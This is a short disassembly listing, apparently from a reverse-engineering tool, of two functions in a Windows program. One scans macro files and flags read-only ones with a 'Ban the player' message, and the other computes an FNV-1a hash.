lea rcx, [rsp + 0x280]
mov rdx, r15
lea rcx, [rcx + rbx*2]
lea r8, [rdi + rdi]
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x280]
lea rcx, [rcx + rsi*2]
lea rdx, str._username_
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
jne 0x140012fa0
test byte [rsp + 0x30], 1
je 0x14001302e
lea rdx, [rsp + 0x280]
lea rcx, str.____Macro_file:__s_is_marked_as_read_only._Ban_the_player._n
call fcn.140003e60
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
nop dword [rax]
test eax, eax
jne 0x140012f40
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindClose]
mov r15, qword [rsp + 0x6b0]
mov rdi, qword [rsp + 0x6b8]
mov rsi, qword [rsp + 0x6c0]
mov rbx, qword [rsp + 0x6f0]
mov rcx, qword ds:[rsp + 0x6a0]
xor rcx, rsp
call fcn.1400486f0
add rsp, 0x6c8
pop r14
pop rbp
ret
Function at 0x140016680
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x1400166b4
movabs r10, 0x100000001b3
nop
movzx ecx, byte [r9 + rdx]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x1400166a0
ret